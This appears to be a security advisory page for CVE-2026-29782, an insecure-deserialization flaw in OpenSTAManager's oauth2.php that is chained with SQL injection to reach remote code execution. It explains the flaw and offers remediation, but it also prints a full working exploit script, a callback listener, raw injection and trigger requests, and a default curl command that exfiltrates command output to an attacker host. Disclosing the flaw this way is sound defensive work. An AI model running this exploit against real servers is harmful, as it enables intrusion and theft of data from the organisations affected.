PHP
CVE-2026-29782
HIGH
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Description
The oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction.
An attacker who can write to the zz_oauth2 table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the www-data user.
Affected code
Entry point - oauth2.php
$skip_permissions = true; // Line 23: NO AUTHENTICATION
include_once __DIR__.'/core.php';
$state = $_GET['state']; // Line 28: attacker-controlled
$code = $_GET['code'];
$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state); // Line 51: triggers the chainDeserialization - src/Models/OAuth2.php
// Line 193 (checkTokens):
$access_token = $this->access_token ? unserialize($this->access_token) : null;
// Line 151 (getAccessToken):
return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;unserialize() is called without the allowed_classes parameter, allowing instantiation of any class loaded by the Composer autoloader.
Execution flow
oauth2.php (no auth)
→ configure()
→ needsConfiguration()
→ getAccessToken()
→ checkTokens()
→ unserialize($this->access_token) ← attacker payload
→ Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
→ $access_token->hasExpired() ← PendingBroadcast lacks this method → PHP Error
→ During error cleanup:
→ PendingBroadcast.__destruct() ← fires during shutdown
→ system($command) ← RCEThe HTTP response is 500 (due to the hasExpired() error), but the command has already executed via __destruct() during error cleanup.
Full attack chain
This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE:
- Payload injection (requires admin account): Via
op=risolvi-conflitti-database, arbitrary SQL is executed to insert a malicious serialized object intozz_oauth2.access_token - RCE trigger (unauthenticated): A GET request to
oauth2.php?state=<known_value>&code=xtriggers the deserialization and executes the command
Persistence note: The risolvi-conflitti-database handler ends with exit; (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (CREATE TABLE/DROP TABLE) are included to force an implicit MySQL commit.
Gadget chain
The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies:
PendingBroadcast.__destruct()
→ $this->events->dispatch($this->event)
→ chain of __call() / __invoke()
→ system($command)Proof of Concept
Execution
Terminal 1 - Attacker listener:
python3 listener.py --port 9999Terminal 2 - Exploit:
python3 exploit.py \
--target http://localhost:8888 \
--callback http://host.docker.internal:9999 \
--user admin --password <password><img width="638" height="722" alt="image" src="https://github.com/user-attachments/assets/e949b641-7986-44b9-acbf-1c5dd0f7ef1f" />
Observed result
Listener receives: <img width="683" height="286" alt="image" src="https://github.com/user-attachments/assets/89a78f7e-5f23-435d-97ec-d74ac905cdc1" /> The id command was executed on the server as www-data, confirming RCE.
HTTP requests from the exploit
Step 4 - Injection (authenticated):
POST /actions.php HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded
op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"]Step 5 - Trigger (NO authentication):
GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1
(No cookies - completely anonymous request)Response: HTTP 500 (expected - the error occurs after __destruct() has already executed the command)
Exploit - exploit.py
#!/usr/bin/env python3
"""
OpenSTAManager v2.10.1 - RCE PoC (Arbitrary SQL → Insecure Deserialization)
Usage:
python3 listener.py --port 9999
python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234
"""
import argparse
import json
import random
import re
import string
import subprocess
import sys
import time
try:
import requests
except ImportError:
print("[!] pip install requests")
sys.exit(1)
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"
BANNER = f"""
{RED}{'=' * 58}{RESET}
{RED}{BOLD} OpenSTAManager v2.10.1 - RCE Proof of Concept{RESET}
{RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET}
{RED}{'=' * 58}{RESET}
"""
def log(msg, status="*"):
icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"}
print(f" [{icons.get(status, '*')}] {msg}")
def step_header(num, title):
print(f"\n {BOLD}── Step {num}: {title} ──{RESET}\n")
def generate_payload(container, command):
step_header(1, "Generate Gadget Chain Payload")
log("Checking phpggc in container...")
result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture_output=True)
if result.returncode != 0:
log("Installing phpggc...", "!")
proc = subprocess.run(
["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"],
capture_output=True, text=True,
)
if proc.returncode != 0:
log(f"Failed to install phpggc: {proc.stderr}", "-")
sys.exit(1)
log(f"Command: {DIM}{command}{RESET}")
result = subprocess.run(
["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command],
capture_output=True,
)
if result.returncode != 0:
log(f"phpggc failed: {result.stderr.decode()}", "-")
sys.exit(1)
payload_bytes = result.stdout
log(f"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}", "+")
return payload_bytes
def authenticate(target, username, password):
step_header(2, "Authenticate")
session = requests.Session()
log(f"Logging in as '{username}'...")
resp = session.post(
f"{target}/index.php",
data={"op": "login", "username": username, "password": password},
allow_redirects=False, timeout=10,
)
location = resp.headers.get("Location", "")
if resp.status_code != 302 or "index.php" in location:
log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-")
sys.exit(1)
session.get(f"{target}{location}", timeout=10)
log("Authenticated", "+")
return session
def find_module_id(session, target, container):
step_header(3, "Find 'Aggiornamenti' Module ID")
log("Searching navigation sidebar...")
resp = session.get(f"{target}/controller.php", timeout=10)
for match in re.finditer(r'id_module=(\d+)', resp.text):
snippet = resp.text[match.start():match.start() + 300]
if re.search(r'[Aa]ggiornamenti', snippet):
module_id = int(match.group(1))
log(f"Module ID: {BOLD}{module_id}{RESET}", "+")
return module_id
log("Not found in sidebar, querying database...", "!")
result = subprocess.run(
["docker", "exec", container, "php", "-r",
"require '/var/www/html/config.inc.php'; "
"$pdo = new PDO('mysql:host='.$db_host.';dbname='.$db_name, $db_username, $db_password); "
"echo $pdo->query(\"SELECT id FROM zz_modules WHERE name='Aggiornamenti'\")->fetchColumn();"],
capture_output=True, text=True,
)
if result.stdout.strip().isdigit():
module_id = int(result.stdout.strip())
log(f"Module ID: {BOLD}{module_id}{RESET}", "+")
return module_id
log("Could not find module ID", "-")
sys.exit(1)
def inject_payload(session, target, module_id, payload_bytes, state_value):
step_header(4, "Inject Payload via Arbitrary SQL")
hex_payload = payload_bytes.hex()
record_id = random.randint(90000, 99999)
queries = [
f"DELETE FROM zz_oauth2 WHERE id={record_id} OR state='{state_value}'",
f"INSERT INTO zz_oauth2 "
f"(id, name, class, client_id, client_secret, config, "
f"state, access_token, after_configuration, is_login, enabled) VALUES "
f"({record_id}, 'poc', 'Modules\\\\Emails\\\\OAuth2\\\\Google', "
f"'x', 'x', '{{}}', '{state_value}', 0x{hex_payload}, '', 0, 1)",
"CREATE TABLE IF NOT EXISTS _poc_ddl_commit (i INT)",
"DROP TABLE IF EXISTS _poc_ddl_commit",
]
log(f"State trigger: {BOLD}{state_value}{RESET}")
log(f"Payload: {len(hex_payload)//2} bytes ({len(hex_payload)} hex)")
log("Sending to actions.php...")
resp = session.post(
f"{target}/actions.php",
data={"op": "risolvi-conflitti-database", "id_module": str(module_id), "id_record": "", "queries": json.dumps(queries)},
timeout=15,
)
try:
result = json.loads(resp.text)
if result.get("success"):
log("Payload planted in zz_oauth2.access_token", "+")
return True
else:
log(f"Injection failed: {result.get('message', '?')}", "-")
return False
except json.JSONDecodeError:
log(f"Unexpected response (HTTP {resp.status_code}): {resp.text[:200]}", "-")
return False
def trigger_rce(target, state_value):
step_header(5, "Trigger RCE (NO AUTHENTICATION)")
url = f"{target}/oauth2.php"
log(f"GET {url}?state={state_value}&code=x")
log(f"{DIM}(This request is UNAUTHENTICATED){RESET}")
try:
resp = requests.get(url, params={"state": state_value, "code": "x"}, allow_redirects=False, timeout=15)
log(f"HTTP {resp.status_code}", "+")
if resp.status_code == 500:
log(f"{DIM}500 expected: __destruct() fires the gadget chain before error handling{RESET}")
except requests.exceptions.Timeout:
log("Timed out (command may still have executed)", "!")
except requests.exceptions.ConnectionError as e:
log(f"Connection error: {e}", "-")
def main():
parser = argparse.ArgumentParser(description="OpenSTAManager v2.10.1 - RCE PoC")
parser.add_argument("--target", required=True, help="Target URL")
parser.add_argument("--callback", required=True, help="Attacker listener URL reachable from the container")
parser.add_argument("--user", default="admin", help="Username (default: admin)")
parser.add_argument("--password", required=True, help="Password")
parser.add_argument("--container", default="osm-web", help="Docker web container (default: osm-web)")
parser.add_argument("--command", help="Custom command (default: curl callback with id output)")
args = parser.parse_args()
print(BANNER)
target = args.target.rstrip("/")
callback = args.callback.rstrip("/")
state_value = "poc-" + "".join(random.choices(string.ascii_lowercase + string.digits, k=12))
command = args.command or f"curl -s {callback}/rce-$(id|base64 -w0)"
payload = generate_payload(args.container, command)
session = authenticate(target, args.user, args.password)
module_id = find_module_id(session, target, args.container)
if not inject_payload(session, target, module_id, payload, state_value):
log("Exploit failed at injection step", "-")
sys.exit(1)
time.sleep(1)
trigger_rce(target, state_value)
print(f"\n {BOLD}── Result ──{RESET}\n")
log("Exploit complete. Check your listener for the callback.", "+")
log("Expected: GET /rce-<base64(id)>")
log(f"If no callback, verify the container can reach: {callback}", "!")
if __name__ == "__main__":
main()Listener - listener.py
#!/usr/bin/env python3
"""OpenSTAManager v2.10.1 - RCE Callback Listener"""
import argparse
import base64
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"
class CallbackHandler(BaseHTTPRequestHandler):
def do_GET(self):
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"\n {RED}{'=' * 58}{RESET}")
print(f" {RED}{BOLD} RCE CALLBACK RECEIVED{RESET}")
print(f" {RED}{'=' * 58}{RESET}")
print(f" {GREEN}[+]{RESET} Time : {ts}")
print(f" {GREEN}[+]{RESET} From : {self.client_address[0]}:{self.client_address[1]}")
print(f" {GREEN}[+]{RESET} Path : {self.path}")
for part in self.path.lstrip("/").split("/"):
if part.startswith("rce-"):
try:
decoded = base64.b64decode(part[4:]).decode("utf-8", errors="replace")
print(f" {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}")
except Exception:
print(f" {YELLOW}[!]{RESET} Raw : {part[4:]}")
print(f" {RED}{'=' * 58}{RESET}\n")
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"OK")
def do_POST(self):
self.do_GET()
def log_message(self, format, *args):
pass
def main():
parser = argparse.ArgumentParser(description="RCE callback listener")
parser.add_argument("--port", type=int, default=9999, help="Listen port (default: 9999)")
args = parser.parse_args()
server = HTTPServer(("0.0.0.0", args.port), CallbackHandler)
print(f"\n {BLUE}{'=' * 58}{RESET}")
print(f" {BLUE}{BOLD} OpenSTAManager v2.10.1 - RCE Callback Listener{RESET}")
print(f" {BLUE}{'=' * 58}{RESET}")
print(f" {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}")
print(f" {YELLOW}[!]{RESET} Waiting for callback...\n")
try:
server.serve_forever()
except KeyboardInterrupt:
print(f"\n {YELLOW}[!]{RESET} Stopped.")
sys.exit(0)
if __name__ == "__main__":
main()Impact
- Confidentiality: Read server files, database credentials, API keys
- Integrity: Write files, install backdoors, modify application code
- Availability: Delete files, denial of service
- Scope: Command execution as
www-dataallows pivoting to other systems on the network
Proposed remediation
Option A: Restrict unserialize() (recommended)
// src/Models/OAuth2.php - checkTokens() and getAccessToken()
$access_token = $this->access_token
? unserialize($this->access_token, ['allowed_classes' => [AccessToken::class]])
: null;Option B: Use safe serialization
Replace serialize()/unserialize() with json_encode()/json_decode() for storing OAuth2 tokens.
Option C: Authenticate oauth2.php
Remove $skip_permissions = true and require authentication for the OAuth2 callback endpoint, or validate the state parameter against a value stored in the user's session.
Credits
Omar Ramirez
AnalysisAI
Remote code execution in OpenSTAManager v2.10.1 and earlier allows authenticated attackers to achieve unauthenticated RCE via chained exploitation of arbitrary SQL injection (GHSA-2fr7-cc4f-wh98) and insecure PHP deserialization in the oauth2.php endpoint. The unauthenticated oauth2.php file calls unserialize() on attacker-controlled database content without class restrictions, enabling gadget chain exploitation (Laravel/RCE22) to execute arbitrary system commands as www-data. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Attacker must have high-privileged database write access (via prior SQL injection vulnerability GHSA-2fr7-cc4f-wh98 in Aggiornamenti module) to insert malicious serialized PHP objects into zz_oauth2.access_token field. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Real-world risk is elevated despite requiring initial authenticated access for payload injection. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with database access inserts a PHP object gadget chain into zz_oauth2 table. They then visit the unauthenticated oauth2.php?state=[id] endpoint, triggering unserialize() on the malicious access_token, achieving remote code execution on the OpenSTAManager server. |
| Remediation | Upgrade immediately to OpenSTAManager version 2.10.2 or later, released by devcode-it to address this vulnerability. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all OpenSTAManager installations and identify instances running v2.10.1 or earlier; review admin account access logs for unauthorized activity. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
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GHSA-whv5-4q2f-q68g